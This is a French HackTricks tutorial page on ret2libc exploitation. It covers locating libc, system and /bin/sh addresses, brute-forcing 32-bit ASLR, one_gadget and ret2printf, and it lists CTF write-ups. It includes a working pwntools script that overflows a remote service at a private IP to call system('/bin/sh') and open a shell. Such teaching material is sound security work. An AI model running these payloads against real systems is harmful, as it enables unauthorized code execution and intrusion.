Ret2lib
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
L’essence de Ret2Libc est de rediriger le flux d’exécution d’un programme vulnérable vers une fonction située dans une bibliothèque partagée (par ex., system, execve, strcpy) au lieu d’exécuter du shellcode fourni par l’attaquant sur la stack. L’attaquant construit un payload qui modifie l’adresse de retour sur la stack pour la faire pointer vers la fonction désirée de la bibliothèque, tout en veillant à ce que les arguments nécessaires soient correctement placés selon la convention d’appel.
Étapes (simplifiées)
- Obtenir l’adresse de la fonction à appeler (e.g. system) et la commande à exécuter (e.g. /bin/sh)
- Générer une ROP chain pour passer le premier argument pointant vers la chaîne de commande et rediriger le flux d’exécution vers la fonction
Trouver les adresses
- En supposant que la
libcutilisée est celle de la machine actuelle, vous pouvez trouver où elle sera chargée en mémoire avec:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Si vous voulez vérifier si l’ASLR modifie l’adresse de libc, vous pouvez faire :
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- En connaissant la libc utilisée, il est aussi possible de trouver l’offset vers la fonction
systemavec :
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- En connaissant la libc utilisée, il est également possible de trouver l’offset vers la chaîne
/bin/shavec :
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Utilisation de gdb-peda / GEF
En connaissant la libc utilisée, il est également possible d’utiliser Peda ou GEF pour obtenir l’adresse de la fonction system, de la fonction exit et de la chaîne /bin/sh :
p system
p exit
find "/bin/sh"
Utilisation de /proc/<PID>/maps
Si le processus crée des processus enfants à chaque fois que vous interagissez avec lui (network server) essayez de lire ce fichier (vous aurez probablement besoin des droits root).
Vous pouvez y trouver exactement où la libc est chargée dans le processus et où elle sera chargée pour chaque processus enfant.
.png)
Dans ce cas, elle est chargée à 0xb75dc000 (Ceci sera l’adresse de base de libc)
libc inconnue
Il se peut que vous ne connaissiez pas la libc que le binaire charge (car elle peut se trouver sur un serveur auquel vous n’avez pas accès). Dans ce cas, vous pouvez exploiter la vulnérabilité pour leak des adresses et trouver quelle libc est utilisée :
Et vous pouvez trouver un pwntools template pour cela dans :
Identifier la libc avec 2 offsets
Consultez la page https://libc.blukat.me/ et utilisez une paire d’adresses de fonctions à l’intérieur de la libc pour découvrir la version utilisée.
Contourner l’ASLR sur systèmes 32 bits
Ces attaques par force brute sont uniquement utiles pour les systèmes 32 bits.
- Si l’exploit est local, vous pouvez essayer de brute-forcer l’adresse de base de la libc (utile pour les systèmes 32 bits) :
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si vous attaquez un serveur distant, vous pouvez essayer de brute-force l’adresse de la fonction
libcusleep, en passant comme argument 10 (par exemple). Si à un moment le serveur met 10s de plus à répondre, vous avez trouvé l’adresse de cette fonction.
One Gadget
Exécuter un shell en sautant simplement vers une adresse spécifique dans libc :
x86 Ret2lib Exemple de code
Dans cet exemple, l’ASLR brute-force est intégré dans le code et le binaire vulnérable est situé sur un serveur distant :
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Exemple de code
Voir l’exemple dans :
ARM64 Ret2lib Exemple
Dans le cas d’ARM64, l’instruction ret saute vers l’endroit pointé par x30 et non vers celui pointé par le registre de pile. Donc c’est un peu plus compliqué.
De plus, sur ARM64 une instruction fait ce qu’elle fait (il n’est pas possible de sauter au milieu d’une instruction et la transformer en une nouvelle).
Voir l’exemple dans :
Ret-into-printf (ou puts)
Cela permet de leak des informations depuis le processus en appelant printf/puts avec certaines données spécifiques placées comme argument. Par exemple, placer l’adresse de puts dans la GOT dans un appel à puts va leak l’adresse de puts en mémoire.
Ret2printf
Cela signifie essentiellement abuser d’un Ret2lib pour le transformer en une printf format strings vulnerability en utilisant le ret2lib pour appeler printf avec les valeurs pour l’exploiter (ça semble inutile mais c’est possible) :
Autres exemples & références
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, donné un leak de l’adresse d’une fonction dans libc, en utilisant one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR activé mais pas de PIE : la première étape est de remplir l’overflow jusqu’à l’octet 0x00 du canary, puis appeler puts et le leak. Avec le canary, on crée un gadget ROP pour appeler puts et leak l’adresse de puts depuis la GOT, puis un gadget ROP pour appeler
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR activé, pas de canary, stack overflow dans main depuis une fonction enfant. Gadget ROP pour appeler puts et leak l’adresse de puts depuis la GOT puis appeler un one gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, pas de PIE, pas de canary, pas de relro, nx. Utilise write pour leak l’adresse de write (libc) et appelle un one gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Utilise une format string pour leak le canary depuis la stack et un buffer overflow pour appeler system (il est dans la GOT) avec l’adresse de
/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, pas de relro, pas de canary, nx, pie. Abuse d’un mauvais index pour leak des adresses de libc et du heap depuis la stack. Abuse le buffer overflow pour faire un ret2lib appelant
system('/bin/sh')(l’adresse du heap est nécessaire pour bypasser une vérification).
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


